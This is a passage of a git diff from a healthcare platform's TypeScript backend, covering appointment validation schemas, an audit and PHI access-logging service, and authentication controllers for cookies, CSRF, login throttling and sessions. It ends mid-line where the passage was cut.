availabilitySlotId: z.string().min(1), + // Phase 8, issue #42: book for a dependent the caller is guardian of. + // Omitted (or the caller's own profile id) = book for yourself. + patientProfileId: z.string().min(1).optional(), +}); + +// Phase 8, issue #42: `GET /appointments/mine?patientProfileId=` lists a +// dependent's appointments, authorised the same way as booking. +export const listMineQuerySchema = z.object({ + patientProfileId: z.string().min(1).optional(), +}); + +export const updateStatusSchema = z.object({ + status: z.enum(['completed', 'cancelled', 'no_show']), +}); diff --git a/backend/src/modules/audit/services/index.ts b/backend/src/modules/audit/services/index.ts index 16f28691..feebc49f 100644 --- a/backend/src/modules/audit/services/index.ts +++ b/backend/src/modules/audit/services/index.ts @@ -1,315 +1,315 @@ -// audit services (Phase 8, issue #43) β€” the write helper every module calls -// when it changes the state of an accountable record, plus the admin query. -// Other modules import from here only, never from audit/repositories. -// -// The contract of record(): -// - it runs INSIDE the transaction of the change it describes (it refuses -// the root client), so an event exists if and only if its change -// committed; -// - it carries only what's needed to attribute the transition β€” actor, -// entity, action, from/to state, request id β€” plus a small, flat, -// validated metadata map of ids/codes. Never PHI, never request bodies. -import type { Prisma, Role } from '@prisma/client'; -import { config } from '../../../config'; -import { HttpError } from '../../../http-error'; -import * as auditRepo from '../repositories'; - -/** Who caused a transition. Controllers build it from the request with - * `auditActor(req)` (src/middleware/request-id.ts). `userId`/`role` are null - * only for system-initiated changes. */ -export interface AuditActor { - userId: string | null; - role: Role | null; - requestId: string | null; -} - -export const SYSTEM_ACTOR: AuditActor = { userId: null, role: null, requestId: null }; - -export type AuditEntityType = - | 'Appointment' - | 'DoctorProfile' - | 'PaymentIntent' - | 'Consultation' - | 'Prescription' - | 'LabOrder' - | 'Referral' - | 'FacilityPrice' - // Issue #14: admin-only facility account creation (`facility.created`). - | 'FacilityProfile' - | 'Order' - | 'OrderDispute'; - -export type AuditMetadataValue = string | number | boolean | null; -export type AuditMetadata = Record; - -export interface AuditEventInput { - entityType: AuditEntityType; - entityId: string; - action: string; - fromState: string | null; - toState: string | null; - metadata?: AuditMetadata; -} - -const ACTION = /^[a-z][a-z_]*(\.[a-z][a-z_]*)+$/; -const METADATA_KEY = /^[a-zA-Z][a-zA-Z0-9_]{0,63}$/; -const MAX_METADATA_KEYS = 16; -const MAX_METADATA_STRING = 200; -/** Defence in depth against a caller passing personal or secret data: any - * key that *looks* like it could carry it is refused outright. Callers - * should only ever pass ids and codes. */ -const FORBIDDEN_METADATA_KEY = - /(name|email|phone|dob|birth|address|note|intake|symptom|diagnos|password|secret|token|key|credential|body|payload)/i; - -export class AuditMetadataError extends Error { - constructor(message: string) { - super(message); - this.name = 'AuditMetadataError'; - } -} - -/** Validates metadata: flat scalars only, bounded, no suspicious keys. - * Exported for tests. Throws AuditMetadataError β€” a programming error, so - * it aborts the surrounding transaction rather than being swallowed. */ -export function validateAuditMetadata(metadata: AuditMetadata | undefined): AuditMetadata | undefined { - if (metadata === undefined) return undefined; - if (metadata === null || typeof metadata !== 'object' || Array.isArray(metadata)) { - throw new AuditMetadataError('Audit metadata must be a flat object.'); - } - const entries = Object.entries(metadata); - if (entries.length > MAX_METADATA_KEYS) throw new AuditMetadataError('Audit metadata has too many keys.'); - for (const [key, value] of entries) { - if (!METADATA_KEY.test(key)) throw new AuditMetadataError(`Invalid audit metadata key: ${key}`); - if (FORBIDDEN_METADATA_KEY.test(key) && !/Id$/.test(key)) { - throw new AuditMetadataError(`Audit metadata key not allowed (could carry personal or secret data): ${key}`); - } - const ok = - value === null || - typeof value === 'boolean' || - (typeof value === 'number' && Number.isFinite(value)) || - (typeof value === 'string' && value.length <= MAX_METADATA_STRING); - if (!ok) throw new AuditMetadataError(`Audit metadata value for ${key} must be a short scalar.`); - } - return metadata; -} - -/** - * Records one state transition, inside the caller's transaction. Passing - * the root Prisma client (which would commit the event on its own, before - * β€” or without β€” the change) is refused at runtime. - * - * The root client is recognised by its lifecycle methods ($connect / - * $disconnect): they exist on the root client and never on the - * interactive-transaction client. It used to be recognised by - * `$transaction` instead, but Prisma 7 (the issue #47 upgrade) gives the - * transaction client a `$transaction` method too β€” identical to the root - * client's β€” so that check started refusing every *legitimate* in-transaction - * call, aborting the change with it. Verified against prisma@7.10.1. - */ -export async function record(tx: Prisma.TransactionClient, actor: AuditActor, event: AuditEventInput): Promise { - const client = tx as unknown as { $connect?: unknown; $disconnect?: unknown }; - if (typeof client.$connect === 'function' || typeof client.$disconnect === 'function') { - throw new Error('audit.record() must run inside the transaction of the change it describes.'); - } - if (!ACTION.test(event.action)) throw new Error(`Invalid audit action: ${event.action}`); - const metadata = validateAuditMetadata(event.metadata); - await auditRepo.insertAuditEvent(tx, { - actorUserId: actor.userId, - actorRole: actor.role, - entityType: event.entityType, - entityId: event.entityId, - action: event.action, - fromState: event.fromState, - toState: event.toState, - requestId: actor.requestId, - metadata, - }); -} - -// --- Admin query ----------------------------------------------------------- - -export interface AuditEventFilters { - entityType?: string; - entityId?: string; - actorUserId?: string; - from?: Date; - to?: Date; - cursor?: string; - limit: number; -} - -/** Opaque cursor: base64url of "|" of the last item. */ -export function encodeAuditCursor(event: { createdAt: Date; id: string }): string { - return Buffer.from(`${event.createdAt.toISOString()}|${event.id}`, 'utf8').toString('base64url'); -} - -export function decodeAuditCursor(cursor: string): { createdAt: Date; id: string } { - const raw = Buffer.from(cursor, 'base64url').toString('utf8'); - const separator = raw.indexOf('|'); - const createdAt = new Date(raw.slice(0, separator)); - const id = raw.slice(separator + 1); - if (separator < 1 || Number.isNaN(createdAt.getTime()) || !id) { - throw new HttpError(400, 'Invalid cursor.', 'INVALID_CURSOR'); - } - return { createdAt, id }; -} - -export async function listAuditEvents(filters: AuditEventFilters) { - if (filters.from && filters.to && filters.from.getTime() > filters.to.getTime()) { - throw new HttpError(400, '`from` must not be after `to`.'); - } - const rows = await auditRepo.findAuditEvents({ - entityType: filters.entityType, - entityId: filters.entityId, - actorUserId: filters.actorUserId, - from: filters.from, - to: filters.to, - before: filters.cursor ? decodeAuditCursor(filters.cursor) : undefined, - // One extra row tells us whether there's a next page without a count. - take: filters.limit + 1, - }); - const items = rows.slice(0, filters.limit); - const last = items[items.length - 1]; - return { items, nextCursor: rows.length > filters.limit && last ? encodeAuditCursor(last) : null }; -} - -// --- PHI read-access logging (Phase 8, issue #45) --------------------------- -// Answers "who looked at this" β€” distinct from record()'s "who changed this". -// Writes are fire-and-forget (never awaited on the read path) and fail -// open: a logging failure must never fail the read, but it IS counted and -// surfaced for alerting via GET /admin/access-logs/stats. - -/** Entity kinds a read can be logged against. Mirrors the schema comment - * on AccessLog.entityType β€” extend both together. */ -export type AccessEntityType = - | 'IntakeForm' - | 'Consultation' - | 'Prescription' - | 'PrescriptionItem' - | 'LabOrder' - | 'LabResult' - | 'Referral' - | 'PaymentIntent' - | 'PatientProfile' - | 'Appointment'; - -export interface AccessLogInput { - /** The viewer. Null only for anonymous/system reads (there are none today). */ - accessedBy?: string | null; - /** The record owner (whose data was viewed) β€” used by the patient-facing - * /patients/me/access-log. Null when the read isn't attributable to one. */ - patientProfileId?: string | null; - entityType: AccessEntityType; - entityId: string; - route?: string | null; - /** Context string β€” no PHI, just enough to correlate with request logs. */ - detail?: string | null; -} - -/** Retention window for AccessLog rows (env ACCESS_LOG_RETENTION_DAYS). - * pruneOldAccessLogs() deletes anything older; wired into the prune - * interval in src/server.ts. */ -export const ACCESS_LOG_RETENTION_DAYS = config.accessLog.retentionDays; - -let logFailureCount = 0; - -/** Cumulative count of failed access-log writes since process start β€” - * readable by admins via GET /admin/access-logs/stats for alerting. */ -export function getLogFailureCount(): number { - return logFailureCount; -} - -/** Records one read, off the call path: returns immediately, never throws. - * Callers must NOT await this on a request path β€” the unit test asserting - * sub-50ms return with a hanging insert is the guard. */ -export function recordAccess(input: AccessLogInput): void { - void auditRepo - .recordAccess({ - accessedBy: input.accessedBy ?? null, - patientProfileId: input.patientProfileId ?? null, - entityType: input.entityType, - entityId: input.entityId, - route: input.route ?? null, - detail: input.detail ?? null, - }) - .catch((err: unknown) => { - logFailureCount += 1; - // Fail-open by design, but loudly: this is a privacy trail, so a - // silent gap is worse than a noisy one. - console.error(`[audit] FAILED to record access (${input.entityType} ${input.entityId})`, err); - }); -} - -// --- Patient-facing query (PII stripped) ------------------------------------ - -export interface PatientAccessLogEntry { - id: string; - accessedAt: Date; - entityType: string; - entityId: string; - /** The viewer's role only β€” never their email or internal id. A deleted - * viewer (FK SetNull) surfaces as the 'deleted_user' placeholder. */ - viewerRole: string; -} - -/** Who viewed MY records. The caller supplies only their own - * patientProfileId (resolved server-side from the authenticated user, never - * from the request), and the response carries no viewer PII. */ -export async function getAccessForPatient( - patientProfileId: string, - limit = 100, -): Promise { - const rows = await auditRepo.findAccessForPatient({ patientProfileId, take: limit }); - return rows.map((row) => ({ - id: row.id, - accessedAt: row.accessedAt, - entityType: row.entityType, - entityId: row.entityId, - viewerRole: row.accessedByUser?.role ?? 'deleted_user', - })); -} - -// --- Admin queries ---------------------------------------------------------- - -/** Admin: who accessed a specific kind of record (optionally a specific - * one). Unlike the patient-facing query this keeps viewer ids β€” admins - * need attribution, and role-only would be useless for incident response. */ -export function listAccessForEntity(filters: { entityType: string; entityId?: string; limit?: number }) { - return auditRepo.findAccessByEntity({ - entityType: filters.entityType, - entityId: filters.entityId, - take: filters.limit ?? 50, - }); -} - -/** Admin: what a specific user accessed. */ -export function listAccessForUser(filters: { userId: string; limit?: number }) { - return auditRepo.findAccessByUser({ - accessedBy: filters.userId, - take: filters.limit ?? 50, - }); -} - -/** Admin: cumulative write-failure count + retention config (alerting). */ -export function getAccessLogStats() { - return { logFailureCount, retentionDays: ACCESS_LOG_RETENTION_DAYS }; -} - -// --- Retention -------------------------------------------------------------- - -/** Deletes AccessLog rows older than the retention window. Returns the - * number of rows removed. Runs from the prune interval in src/server.ts. */ -export async function pruneOldAccessLogs(): Promise { - const cutoff = new Date(Date.now() - ACCESS_LOG_RETENTION_DAYS * 24 * 60 * 60 * 1000); - return auditRepo.pruneAccessLogs(cutoff); -} - -/** Retention hold (issue #41, docs/adr/0010): AccessLog.patientProfileId - * cascades, so purging a profile would erase the record of who viewed it. - * The purge waits until the access log's own retention prune has removed - * those rows (ACCESS_LOG_RETENTION_DAYS). */ -export function hasAccessLogsForPatient(patientProfileId: string): Promise { - // Reuses the existing read rather than adding a repository export: this - // repository's surface is pinned (tests/integration/audit.test.mts). - return auditRepo.findAccessForPatient({ patientProfileId, take: 1 }).then((rows) => rows.length > 0); -} +// audit services (Phase 8, issue #43) β€” the write helper every module calls +// when it changes the state of an accountable record, plus the admin query. +// Other modules import from here only, never from audit/repositories. +// +// The contract of record(): +// - it runs INSIDE the transaction of the change it describes (it refuses +// the root client), so an event exists if and only if its change +// committed; +// - it carries only what's needed to attribute the transition β€” actor, +// entity, action, from/to state, request id β€” plus a small, flat, +// validated metadata map of ids/codes. Never PHI, never request bodies. +import type { Prisma, Role } from '@prisma/client'; +import { config } from '../../../config'; +import { HttpError } from '../../../http-error'; +import * as auditRepo from '../repositories'; + +/** Who caused a transition. Controllers build it from the request with + * `auditActor(req)` (src/middleware/request-id.ts). `userId`/`role` are null + * only for system-initiated changes. */ +export interface AuditActor { + userId: string | null; + role: Role | null; + requestId: string | null; +} + +export const SYSTEM_ACTOR: AuditActor = { userId: null, role: null, requestId: null }; + +export type AuditEntityType = + | 'Appointment' + | 'DoctorProfile' + | 'PaymentIntent' + | 'Consultation' + | 'Prescription' + | 'LabOrder' + | 'Referral' + | 'FacilityPrice' + // Issue #14: admin-only facility account creation (`facility.created`). + | 'FacilityProfile' + | 'Order' + | 'OrderDispute'; + +export type AuditMetadataValue = string | number | boolean | null; +export type AuditMetadata = Record; + +export interface AuditEventInput { + entityType: AuditEntityType; + entityId: string; + action: string; + fromState: string | null; + toState: string | null; + metadata?: AuditMetadata; +} + +const ACTION = /^[a-z][a-z_]*(\.[a-z][a-z_]*)+$/; +const METADATA_KEY = /^[a-zA-Z][a-zA-Z0-9_]{0,63}$/; +const MAX_METADATA_KEYS = 16; +const MAX_METADATA_STRING = 200; +/** Defence in depth against a caller passing personal or secret data: any + * key that *looks* like it could carry it is refused outright. Callers + * should only ever pass ids and codes. */ +const FORBIDDEN_METADATA_KEY = + /(name|email|phone|dob|birth|address|note|intake|symptom|diagnos|password|secret|token|key|credential|body|payload)/i; + +export class AuditMetadataError extends Error { + constructor(message: string) { + super(message); + this.name = 'AuditMetadataError'; + } +} + +/** Validates metadata: flat scalars only, bounded, no suspicious keys. + * Exported for tests. Throws AuditMetadataError β€” a programming error, so + * it aborts the surrounding transaction rather than being swallowed. */ +export function validateAuditMetadata(metadata: AuditMetadata | undefined): AuditMetadata | undefined { + if (metadata === undefined) return undefined; + if (metadata === null || typeof metadata !== 'object' || Array.isArray(metadata)) { + throw new AuditMetadataError('Audit metadata must be a flat object.'); + } + const entries = Object.entries(metadata); + if (entries.length > MAX_METADATA_KEYS) throw new AuditMetadataError('Audit metadata has too many keys.'); + for (const [key, value] of entries) { + if (!METADATA_KEY.test(key)) throw new AuditMetadataError(`Invalid audit metadata key: ${key}`); + if (FORBIDDEN_METADATA_KEY.test(key) && !/Id$/.test(key)) { + throw new AuditMetadataError(`Audit metadata key not allowed (could carry personal or secret data): ${key}`); + } + const ok = + value === null || + typeof value === 'boolean' || + (typeof value === 'number' && Number.isFinite(value)) || + (typeof value === 'string' && value.length <= MAX_METADATA_STRING); + if (!ok) throw new AuditMetadataError(`Audit metadata value for ${key} must be a short scalar.`); + } + return metadata; +} + +/** + * Records one state transition, inside the caller's transaction. Passing + * the root Prisma client (which would commit the event on its own, before + * β€” or without β€” the change) is refused at runtime. + * + * The root client is recognised by its lifecycle methods ($connect / + * $disconnect): they exist on the root client and never on the + * interactive-transaction client. It used to be recognised by + * `$transaction` instead, but Prisma 7 (the issue #47 upgrade) gives the + * transaction client a `$transaction` method too β€” identical to the root + * client's β€” so that check started refusing every *legitimate* in-transaction + * call, aborting the change with it. Verified against prisma@7.10.1. + */ +export async function record(tx: Prisma.TransactionClient, actor: AuditActor, event: AuditEventInput): Promise { + const client = tx as unknown as { $connect?: unknown; $disconnect?: unknown }; + if (typeof client.$connect === 'function' || typeof client.$disconnect === 'function') { + throw new Error('audit.record() must run inside the transaction of the change it describes.'); + } + if (!ACTION.test(event.action)) throw new Error(`Invalid audit action: ${event.action}`); + const metadata = validateAuditMetadata(event.metadata); + await auditRepo.insertAuditEvent(tx, { + actorUserId: actor.userId, + actorRole: actor.role, + entityType: event.entityType, + entityId: event.entityId, + action: event.action, + fromState: event.fromState, + toState: event.toState, + requestId: actor.requestId, + metadata, + }); +} + +// --- Admin query ----------------------------------------------------------- + +export interface AuditEventFilters { + entityType?: string; + entityId?: string; + actorUserId?: string; + from?: Date; + to?: Date; + cursor?: string; + limit: number; +} + +/** Opaque cursor: base64url of "|" of the last item. */ +export function encodeAuditCursor(event: { createdAt: Date; id: string }): string { + return Buffer.from(`${event.createdAt.toISOString()}|${event.id}`, 'utf8').toString('base64url'); +} + +export function decodeAuditCursor(cursor: string): { createdAt: Date; id: string } { + const raw = Buffer.from(cursor, 'base64url').toString('utf8'); + const separator = raw.indexOf('|'); + const createdAt = new Date(raw.slice(0, separator)); + const id = raw.slice(separator + 1); + if (separator < 1 || Number.isNaN(createdAt.getTime()) || !id) { + throw new HttpError(400, 'Invalid cursor.', 'INVALID_CURSOR'); + } + return { createdAt, id }; +} + +export async function listAuditEvents(filters: AuditEventFilters) { + if (filters.from && filters.to && filters.from.getTime() > filters.to.getTime()) { + throw new HttpError(400, '`from` must not be after `to`.'); + } + const rows = await auditRepo.findAuditEvents({ + entityType: filters.entityType, + entityId: filters.entityId, + actorUserId: filters.actorUserId, + from: filters.from, + to: filters.to, + before: filters.cursor ? decodeAuditCursor(filters.cursor) : undefined, + // One extra row tells us whether there's a next page without a count. + take: filters.limit + 1, + }); + const items = rows.slice(0, filters.limit); + const last = items[items.length - 1]; + return { items, nextCursor: rows.length > filters.limit && last ? encodeAuditCursor(last) : null }; +} + +// --- PHI read-access logging (Phase 8, issue #45) --------------------------- +// Answers "who looked at this" β€” distinct from record()'s "who changed this". +// Writes are fire-and-forget (never awaited on the read path) and fail +// open: a logging failure must never fail the read, but it IS counted and +// surfaced for alerting via GET /admin/access-logs/stats. + +/** Entity kinds a read can be logged against. Mirrors the schema comment + * on AccessLog.entityType β€” extend both together. */ +export type AccessEntityType = + | 'IntakeForm' + | 'Consultation' + | 'Prescription' + | 'PrescriptionItem' + | 'LabOrder' + | 'LabResult' + | 'Referral' + | 'PaymentIntent' + | 'PatientProfile' + | 'Appointment'; + +export interface AccessLogInput { + /** The viewer. Null only for anonymous/system reads (there are none today). */ + accessedBy?: string | null; + /** The record owner (whose data was viewed) β€” used by the patient-facing + * /patients/me/access-log. Null when the read isn't attributable to one. */ + patientProfileId?: string | null; + entityType: AccessEntityType; + entityId: string; + route?: string | null; + /** Context string β€” no PHI, just enough to correlate with request logs. */ + detail?: string | null; +} + +/** Retention window for AccessLog rows (env ACCESS_LOG_RETENTION_DAYS). + * pruneOldAccessLogs() deletes anything older; wired into the prune + * interval in src/server.ts. */ +export const ACCESS_LOG_RETENTION_DAYS = config.accessLog.retentionDays; + +let logFailureCount = 0; + +/** Cumulative count of failed access-log writes since process start β€” + * readable by admins via GET /admin/access-logs/stats for alerting. */ +export function getLogFailureCount(): number { + return logFailureCount; +} + +/** Records one read, off the call path: returns immediately, never throws. + * Callers must NOT await this on a request path β€” the unit test asserting + * sub-50ms return with a hanging insert is the guard. */ +export function recordAccess(input: AccessLogInput): void { + void auditRepo + .recordAccess({ + accessedBy: input.accessedBy ?? null, + patientProfileId: input.patientProfileId ?? null, + entityType: input.entityType, + entityId: input.entityId, + route: input.route ?? null, + detail: input.detail ?? null, + }) + .catch((err: unknown) => { + logFailureCount += 1; + // Fail-open by design, but loudly: this is a privacy trail, so a + // silent gap is worse than a noisy one. + console.error(`[audit] FAILED to record access (${input.entityType} ${input.entityId})`, err); + }); +} + +// --- Patient-facing query (PII stripped) ------------------------------------ + +export interface PatientAccessLogEntry { + id: string; + accessedAt: Date; + entityType: string; + entityId: string; + /** The viewer's role only β€” never their email or internal id. A deleted + * viewer (FK SetNull) surfaces as the 'deleted_user' placeholder. */ + viewerRole: string; +} + +/** Who viewed MY records. The caller supplies only their own + * patientProfileId (resolved server-side from the authenticated user, never + * from the request), and the response carries no viewer PII. */ +export async function getAccessForPatient( + patientProfileId: string, + limit = 100, +): Promise { + const rows = await auditRepo.findAccessForPatient({ patientProfileId, take: limit }); + return rows.map((row) => ({ + id: row.id, + accessedAt: row.accessedAt, + entityType: row.entityType, + entityId: row.entityId, + viewerRole: row.accessedByUser?.role ?? 'deleted_user', + })); +} + +// --- Admin queries ---------------------------------------------------------- + +/** Admin: who accessed a specific kind of record (optionally a specific + * one). Unlike the patient-facing query this keeps viewer ids β€” admins + * need attribution, and role-only would be useless for incident response. */ +export function listAccessForEntity(filters: { entityType: string; entityId?: string; limit?: number }) { + return auditRepo.findAccessByEntity({ + entityType: filters.entityType, + entityId: filters.entityId, + take: filters.limit ?? 50, + }); +} + +/** Admin: what a specific user accessed. */ +export function listAccessForUser(filters: { userId: string; limit?: number }) { + return auditRepo.findAccessByUser({ + accessedBy: filters.userId, + take: filters.limit ?? 50, + }); +} + +/** Admin: cumulative write-failure count + retention config (alerting). */ +export function getAccessLogStats() { + return { logFailureCount, retentionDays: ACCESS_LOG_RETENTION_DAYS }; +} + +// --- Retention -------------------------------------------------------------- + +/** Deletes AccessLog rows older than the retention window. Returns the + * number of rows removed. Runs from the prune interval in src/server.ts. */ +export async function pruneOldAccessLogs(): Promise { + const cutoff = new Date(Date.now() - ACCESS_LOG_RETENTION_DAYS * 24 * 60 * 60 * 1000); + return auditRepo.pruneAccessLogs(cutoff); +} + +/** Retention hold (issue #41, docs/adr/0010): AccessLog.patientProfileId + * cascades, so purging a profile would erase the record of who viewed it. + * The purge waits until the access log's own retention prune has removed + * those rows (ACCESS_LOG_RETENTION_DAYS). */ +export function hasAccessLogsForPatient(patientProfileId: string): Promise { + // Reuses the existing read rather than adding a repository export: this + // repository's surface is pinned (tests/integration/audit.test.mts). + return auditRepo.findAccessForPatient({ patientProfileId, take: 1 }).then((rows) => rows.length > 0); +} diff --git a/backend/src/modules/auth/controllers/index.ts b/backend/src/modules/auth/controllers/index.ts index c444e5d6..67b7314a 100644 --- a/backend/src/modules/auth/controllers/index.ts +++ b/backend/src/modules/auth/controllers/index.ts @@ -1,227 +1,227 @@ -import type { Request, Response } from 'express'; -import * as authService from '../services'; -import { - clearLoginAttemptsSchema, - loginSchema, - passwordResetConfirmSchema, - passwordResetRequestSchema, - signupSchema, - signupWithInviteSchema, - verifyEmailSchema, -} from '../validation'; -import { HttpError } from '../../../http-error'; -import { config } from '../../../config'; -import { readCsrfHeader } from '../../../middleware/csrf'; -import { getParam } from '../../../request-params'; -import { resolveLocale } from '../../../i18n'; - -const REFRESH_COOKIE = 'docforum_refresh'; -const REFRESH_COOKIE_MAX_AGE_MS = 30 * 24 * 60 * 60 * 1000; // 30d β€” matches config.jwt.refreshTtl - -// Refresh token travels as an httpOnly cookie β€” never in a JS-readable -// response field β€” so a stolen access token (which docforum-web keeps in -// memory, never localStorage) can't be paired with a stolen refresh token -// via the same XSS vector. -// -// Cookie attributes come from config.cookie (Phase 8, issue #37): genuinely -// environment-aware β€” `SameSite=None; Secure` in production, where -// docforum-web (GitHub Pages) and this API (Render) are different sites, and -// `SameSite=Lax`/insecure for local dev over plain http. See -// docs/adr/0003. -function setRefreshCookie(res: Response, token: string) { - res.cookie(REFRESH_COOKIE, token, { - ...config.cookie, - httpOnly: true, - maxAge: REFRESH_COOKIE_MAX_AGE_MS, - }); -} - -/** Coarse request context for the session record β€” what makes "that other - * device" recognizable in `GET /auth/sessions`. */ -function sessionContext(req: Request): authService.SessionContext { - return { ip: req.ip, userAgent: req.headers['user-agent'] }; -} - -function sessionResponse(res: Response, session: authService.AuthSession) { - setRefreshCookie(res, session.refreshToken); - // `csrfToken` is returned in the body, not as a readable cookie β€” see - // middleware/csrf.ts for why a cross-site frontend can't use a cookie for - // this. docforum-web keeps it in memory alongside the access token. - res.status(200).json({ - user: session.user, - accessToken: session.accessToken, - csrfToken: session.csrfToken, - sessionId: session.sessionId, - }); -} - -export async function signup(req: Request, res: Response) { - const input = signupSchema.parse(req.body); - const session = await authService.signup( - { ...input, locale: resolveLocale(undefined, req.headers['accept-language']) }, - sessionContext(req), - ); - sessionResponse(res, session); -} - -export async function login(req: Request, res: Response) { - const input = loginSchema.parse(req.body); - try { - // Express's `req.ip` honours the `trust proxy` setting (app.ts) β€” it is - // the whole reason the throttle keys on the IP the client believes it - // is, rather than Render's proxy address (see config.trustProxy). - const session = await authService.login({ ...input, ip: req.ip }, sessionContext(req)); - sessionResponse(res, session); - } catch (err) { - // Phase 8, issue #35: a throttled attempt must tell the client how long - // to wait, both as a header and in the message (see LoginThrottledError). - if (err instanceof authService.LoginThrottledError) { - res.set('Retry-After', String(err.retryAfterSeconds)); - } - throw err; - } -} - -/** Admin-only: clear a login lock/throttle bucket for an account or an IP. - * Writes an audit line to the server log. Not wired into AuditEvent yet - * (issue #43 covered booking, doctor verification and payments only β€” see - * ARCHITECTURE.md Β§6.2.4), so this is the interim record. */ -export async function clearLoginAttempts(req: Request, res: Response) { - const { email, ip } = clearLoginAttemptsSchema.parse(req.body); - const cleared = await authService.clearLoginAttempts({ email, ip }); - // eslint-disable-next-line no-console - console.info(`[auth] admin ${req.user?.id ?? 'unknown'} cleared ${cleared} login-throttle bucket(s) (email=${email ?? '-'} ip=${ip ?? '-'})`); - res.status(200).json({ cleared }); -} - -/** - * Admin invite redemption (Phase 8, issue #39). Lives in the auth module - * because it ends in a session, but the invite itself is the users module's - * business β€” see `authService.signupWithInvite`, which calls that module's - * service rather than touching its tables. - */ -export async function signupWithInvite(req: Request, res: Response) { - const input = signupWithInviteSchema.parse(req.body); - const session = await authService.signupWithInvite(input, sessionContext(req)); - sessionResponse(res, session); -} - -export async function refresh(req: Request, res: Response) { - const token = refreshCookieValue(req); - if (!token) throw new HttpError(401, 'No refresh token provided.'); - - const session = await authService.refresh(token, readCsrfHeader(req)); - sessionResponse(res, session); -} - -// Phase 8, issue #34. -export async function verifyEmail(req: Request, res: Response) { - const { token } = verifyEmailSchema.parse(req.body); - const result = await authService.verifyEmail(token); - res.status(200).json({ emailVerifiedAt: result.emailVerifiedAt }); -} - -/** Authenticated on purpose: the resend target is the caller's own - * account, so this endpoint can't be used to enumerate registered - * addresses, and being logged in is exactly the state a user is in when - * they need it (login is allowed while unverified). */ -export async function resendVerificationEmail(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const result = await authService.resendVerificationEmail(req.user.id); - res.status(200).json(result); -} - -/** - * Clears the refresh cookie. - * - * Logout is cookie-authenticated too, so it needs the same CSRF treatment β€” - * but there's no session token to bind a CSRF token to here (the request - * carries no access token), so the enforced layers are the Origin allowlist - * (`requireAllowedOrigin` on the route) plus the requirement that the - * `X-CSRF-Token` header be present. A cross-site HTML form can set neither, - * so a forged logout is refused before it clears anything. The worst case if - * it weren't β€” a forced sign-out β€” is why this is the one route where a - * presence check is enough rather than a value match. - */ -export function logout(req: Request, res: Response) { - if (!readCsrfHeader(req)) { - throw new HttpError(403, 'Missing CSRF token. Send the csrfToken from your login response in the X-CSRF-Token header.'); - } - res.clearCookie(REFRESH_COOKIE, config.cookie); - res.status(204).send(); -} - -// Both reset endpoints answer identically for known and unknown emails β€” -// same status, same body, no branch on the result of the lookup. Rate -// limiting is the one intentional exception (429), and it fires before any -// account lookup, so it can't leak existence either. -export async function requestPasswordReset(req: Request, res: Response) { - const { email } = passwordResetRequestSchema.parse(req.body); - await authService.requestPasswordReset({ email, ip: req.ip ?? 'unknown' }); - res.status(202).json({ - message: 'If an account exists for that email, a password reset link has been sent.', - }); -} - -export async function confirmPasswordReset(req: Request, res: Response) { - const input = passwordResetConfirmSchema.parse(req.body); - await authService.confirmPasswordReset(input); - // The reset already killed every refresh token for this user - // (tokenVersion bump) β€” clear the caller's cookie too so a browser that - // still holds the old one isn't left sending a dead token. - res.clearCookie(REFRESH_COOKIE, config.cookie); - res.status(200).json({ message: 'Password updated. Please sign in with your new password.' }); -} - -// --- Session management (Phase 8 #38) ----------------------------------- - -function refreshCookieValue(req: Request): string | undefined { - return (req.cookies as Record | undefined)?.[REFRESH_COOKIE]; -} - -function requireUserId(req: Request): string { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - return req.user.id; -} - -export async function listSessions(req: Request, res: Response) { - const sessions = await authService.listSessions({ - userId: requireUserId(req), - currentSessionId: authService.sessionIdFromRefreshToken(refreshCookieValue(req)), - }); - res.status(200).json(sessions); -} - -/** Revokes one of the caller's own sessions. A session id belonging to - * someone else is simply not found (404) β€” scoped update, and no signal - * about whether that id exists. */ -export async function revokeSession(req: Request, res: Response) { - const currentSessionId = authService.sessionIdFromRefreshToken(refreshCookieValue(req)); - const result = await authService.revokeSession({ - userId: requireUserId(req), - sessionId: getParam(req, 'id'), - currentSessionId, - }); - - if (!result.revoked) throw new HttpError(404, 'Session not found.'); - // Revoking the session you're using has to clear the cookie in the same - // response, or the browser keeps sending a dead refresh token. - if (result.wasCurrent) res.clearCookie(REFRESH_COOKIE, config.cookie); - res.status(204).send(); -} - -/** "Sign out everywhere else" β€” keeps the caller's current session. */ -export async function revokeOtherSessions(req: Request, res: Response) { - const revoked = await authService.revokeOtherSessions({ - userId: requireUserId(req), - currentSessionId: authService.sessionIdFromRefreshToken(refreshCookieValue(req)), - }); - res.status(200).json({ revoked }); -} - -/** Admin: revoke every session a given user has. Mounted under /admin, not - * /auth β€” it acts on someone else's sessions. */ -export async function revokeUserSessions(req: Request, res: Response) { - const revoked = await authService.revokeAllUserSessions(getParam(req, 'id')); - res.status(200).json({ revoked }); -} +import type { Request, Response } from 'express'; +import * as authService from '../services'; +import { + clearLoginAttemptsSchema, + loginSchema, + passwordResetConfirmSchema, + passwordResetRequestSchema, + signupSchema, + signupWithInviteSchema, + verifyEmailSchema, +} from '../validation'; +import { HttpError } from '../../../http-error'; +import { config } from '../../../config'; +import { readCsrfHeader } from '../../../middleware/csrf'; +import { getParam } from '../../../request-params'; +import { resolveLocale } from '../../../i18n'; + +const REFRESH_COOKIE = 'docforum_refresh'; +const REFRESH_COOKIE_MAX_AGE_MS = 30 * 24 * 60 * 60 * 1000; // 30d β€” matches config.jwt.refreshTtl + +// Refresh token travels as an httpOnly cookie β€” never in a JS-readable +// response field β€” so a stolen access token (which docforum-web keeps in +// memory, never localStorage) can't be paired with a stolen refresh token +// via the same XSS vector. +// +// Cookie attributes come from config.cookie (Phase 8, issue #37): genuinely +// environment-aware β€” `SameSite=None; Secure` in production, where +// docforum-web (GitHub Pages) and this API (Render) are different sites, and +// `SameSite=Lax`/insecure for local dev over plain http. See +// docs/adr/0003. +function setRefreshCookie(res: Response, token: string) { + res.cookie(REFRESH_COOKIE, token, { + ...config.cookie, + httpOnly: true, + maxAge: REFRESH_COOKIE_MAX_AGE_MS, + }); +} + +/** Coarse request context for the session record β€” what makes "that other + * device" recognizable in `GET /auth/sessions`. */ +function sessionContext(req: Request): authService.SessionContext { + return { ip: req.ip, userAgent: req.headers['user-agent'] }; +} + +function sessionResponse(res: Response, session: authService.AuthSession) { + setRefreshCookie(res, session.refreshToken); + // `csrfToken` is returned in the body, not as a readable cookie β€” see + // middleware/csrf.ts for why a cross-site frontend can't use a cookie for + // this. docforum-web keeps it in memory alongside the access token. + res.status(200).json({ + user: session.user, + accessToken: session.accessToken, + csrfToken: 